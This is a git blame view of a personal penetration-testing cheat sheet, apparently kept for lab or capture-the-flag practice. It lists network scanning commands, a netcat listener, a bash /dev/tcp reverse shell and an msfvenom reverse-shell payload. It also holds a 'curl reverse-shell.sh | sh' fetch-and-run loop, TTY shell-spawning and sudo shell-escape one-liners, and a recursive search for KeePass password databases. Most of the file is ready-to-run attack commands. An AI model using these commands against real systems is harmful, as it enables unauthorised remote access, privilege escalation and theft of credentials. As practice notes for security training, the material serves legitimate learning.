Files
pentesting/Cheatsheet.md

343 lines
6.3 KiB
Markdown
Raw Permalink Normal View History

2025-07-27 02:13:51 +02:00
# Table of Contents
1. [information gathering](#org852ec36)
1. [nmap](#orgda1065c)
2. [dirb](#orgafbfb19)
2. [inital access](#orgd5250d9)
1. [start listener:](#orgefad80b)
2. [reverse shell bash:](#org147daab)
3. [reverse shell file:](#org32886e3)
4. [untested:](#org6c097fc)
3. [privilege escalation](#org6812526)
1. [always run these:](#org0b25bb0)
2. [TTY Spawn Shell](#org4152682)
1. [Python spawn shell](#orgf659bfd)
2. [OS system spawn shell](#org76c29ea)
3. [Bash spawn shell](#org80d5744)
4. [Perl spawn shell](#orgd4f31f3)
5. [Ruby spawn shell](#org2fe4e07)
6. [Lua spawn shell](#orgce64187)
7. [IRB spawn shell](#org28402e0)
8. [VI spawn shell](#org6bfa44c)
9. [VI(2) spawn shell](#org4241f95)
10. [Nmap spawn shell](#org5dc86b6)
4. [Windows](#orgdcc9f31)
1. [WinPEAS](#org21afc9d)
2. [LOLBAS](#org08b790e)
3. [WADCOMS](#orgb12dcff)
4. [PrivescCheck Script as an alternative to WinPEAS](#org2bed5cd)
5. [RUN these while the other scripts are working](#orgea4f773)
6. [for finding kbdx Files](#org0f35200)
1. to install:
- magic wormhole
- tldr
- rlwrap
-
sudo apt update --fix-missing && sudo apt install magic-wormhole tealdeer rlwrap
2. for keyring
-> if there is some kind of keyring error
sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg
<a id="org852ec36"></a>
2025-06-10 17:23:40 +02:00
# information gathering
2025-07-27 02:13:51 +02:00
<a id="orgda1065c"></a>
2025-06-10 17:23:40 +02:00
### nmap
for quick scan of available ips
2025-07-27 02:13:51 +02:00
nmap -sn ip/24
2025-06-10 17:23:40 +02:00
to filter output for open ips
2025-07-27 02:13:51 +02:00
nmap -sn 192.168.1.0/24 | grep "for " | awk '{print $5}' > ips.txt
2025-06-15 12:31:18 +02:00
scan open ports:
2025-07-27 02:13:51 +02:00
nmap -sCV -A -p $(nmap 192.168.1.155 -p- | grep open | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/.$//') 192.168.1.155
<a id="orgafbfb19"></a>
### dirb
dirb http://ip
1. bei windows
nmap --vuln ip
1. bei windows \\+ smb
nmap --script smb-vuln* ip
<a id="orgd5250d9"></a>
2025-06-10 17:23:40 +02:00
2025-06-15 12:31:18 +02:00
# inital access
2025-07-27 02:13:51 +02:00
<a id="orgefad80b"></a>
2025-06-15 12:31:18 +02:00
### start listener:
2025-07-27 02:13:51 +02:00
rlwrap -cAr nc -nlvp 9002
<a id="org147daab"></a>
2025-06-15 12:31:18 +02:00
### reverse shell bash:
2025-07-27 02:13:51 +02:00
/bin/bash -i >& /dev/tcp/192.168.1.157/9002 0>&1
<a id="org32886e3"></a>
2025-06-15 12:31:18 +02:00
### reverse shell file:
2025-07-27 02:13:51 +02:00
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.157 LPORT=9002 -f raw -o rev.py
2025-06-15 12:31:18 +02:00
-> from revshells.com
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
<a id="org6c097fc"></a>
2025-06-15 12:31:18 +02:00
### untested:
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
Reverse Shell as a Service
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
1. On your machine:
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
nc -l 1337
or nlvp?
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
1. On the target machine:
curl https://reverse-shell.sh/yourip:1337 | sh
1. reconnecting:
while true; do curl https://reverse-shell.sh/yourip:1337 | sh; done
<a id="org6812526"></a>
2025-06-10 17:23:40 +02:00
2025-06-15 12:31:18 +02:00
# privilege escalation
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
<a id="org0b25bb0"></a>
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
## always run these:
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
sudo -l
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
if sudo doesn&rsquo;t work:
[3.2](#org4152682)
1. check cronjobs
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
ls /etc/cron.*
crontab -l
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
<a id="org4152682"></a>
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
## TTY Spawn Shell
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
1. if sudo still doesn&rsquo;t work
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
use
sudo -S command
Often during pen tests you may obtain a shell without having tty, yet wish to interact further with the system. Here are some commands which will allow you to spawn a tty shell. Obviously some of this will depend on the system environment and installed packages.
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
<a id="orgf659bfd"></a>
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
### Python spawn shell
2025-06-10 17:23:40 +02:00
2025-07-27 02:13:51 +02:00
python -c 'import pty; pty.spawn("/bin/bash")'
Fully Interactive TTY
1. All the steps to stabilize your shell
****The first step:****
python3 -c 'import pty;pty.spawn("/bin/bash")'
Which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit prettier, but we still wont be able to use tab autocomplete or the arrow keys.
****Step two is:****
export TERM=xterm
This will give us access to term commands such as clear.
****Finally (and most importantly) we will background the shell using****
Ctrl + Z
Back in our own terminal we use
stty raw -echo; fg
This does two things: first, it turns off our own terminal echo which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes
stty rows 38 columns 116
<a id="org76c29ea"></a>
2025-06-10 17:23:40 +02:00
### OS system spawn shell
2025-07-27 02:13:51 +02:00
echo os.system("/bin/bash")
<a id="org80d5744"></a>
2025-06-10 17:23:40 +02:00
### Bash spawn shell
2025-07-27 02:13:51 +02:00
/bin/sh -i
<a id="orgd4f31f3"></a>
2025-06-10 17:23:40 +02:00
### Perl spawn shell
2025-07-27 02:13:51 +02:00
perl —e 'exec "/bin/sh";'
<a id="org2fe4e07"></a>
2025-06-10 17:23:40 +02:00
### Ruby spawn shell
2025-07-27 02:13:51 +02:00
ruby: exec &ldquo;/bin/sh&rdquo;
<a id="orgce64187"></a>
2025-06-10 17:23:40 +02:00
### Lua spawn shell
2025-07-27 02:13:51 +02:00
lua: os.execute(&ldquo;/bin/sh&rdquo;)
<a id="org28402e0"></a>
2025-06-10 17:23:40 +02:00
### IRB spawn shell
2025-07-27 02:13:51 +02:00
exec &ldquo;/bin/sh&rdquo;
<a id="org6bfa44c"></a>
2025-06-10 17:23:40 +02:00
### VI spawn shell
2025-07-27 02:13:51 +02:00
:!bash
<a id="org4241f95"></a>
2025-06-10 17:23:40 +02:00
### VI(2) spawn shell
2025-07-27 02:13:51 +02:00
:set shell=/bin/bash:shell
<a id="org5dc86b6"></a>
2025-06-10 17:23:40 +02:00
### Nmap spawn shell
2025-07-27 02:13:51 +02:00
!sh
1. Exiftools
Metadaten auslesen:
exiftool picture.png
Binwalk (Binary Daten exportieren):
binwalk -e picture.png
<a id="orgdcc9f31"></a>
# Windows
<a id="org21afc9d"></a>
### WinPEAS
<https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS>
<a id="org08b790e"></a>
### LOLBAS
<https://lolbas-project.github.io/>#
<a id="orgb12dcff"></a>
### WADCOMS
<https://wadcoms.github.io/>
<a id="org2bed5cd"></a>
### PrivescCheck Script as an alternative to WinPEAS
<https://github.com/itm4n/PrivescCheck>
<a id="orgea4f773"></a>
### RUN these while the other scripts are working
whoami /priv
whoami /all
schtasks /query
<a id="org0f35200"></a>
### for finding kbdx Files
2025-06-15 12:31:18 +02:00
2025-07-27 02:13:51 +02:00
<https://github.com/ivanmrsulja/keepass2john>
2025-06-15 12:31:18 +02:00
2025-07-27 02:13:51 +02:00
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
2025-06-15 12:31:18 +02:00
2025-07-27 02:13:51 +02:00
quick Wins Linux:
gdb -nx -ex &rsquo;!sh&rsquo; -ex quit
sudo mysql -e &rsquo;! /bin/sh&rsquo;
strace -o /dev/null /bin/sh
sudo awk &rsquo;BEGIN {system(&ldquo;/bin/sh&rdquo;)}&rsquo;
2025-06-15 12:31:18 +02:00
2025-07-27 02:13:51 +02:00
evilwinrm
quick Wins Linux:
gdb -nx -ex &rsquo;!sh&rsquo; -ex quit
sudo mysql -e &rsquo;! /bin/sh&rsquo;
strace -o /dev/null /bin/sh
sudo awk &rsquo;BEGIN {system(&ldquo;/bin/sh&rdquo;)}&rsquo;
2025-06-15 12:31:18 +02:00
2025-07-28 09:30:28 +02:00
https://nextcloud.th-deg.de/s/ex5yzQ6NtGeKp32
https://github.com/Obedaya/scripts
https://mygit.th-deg.de/lg06087/pentesting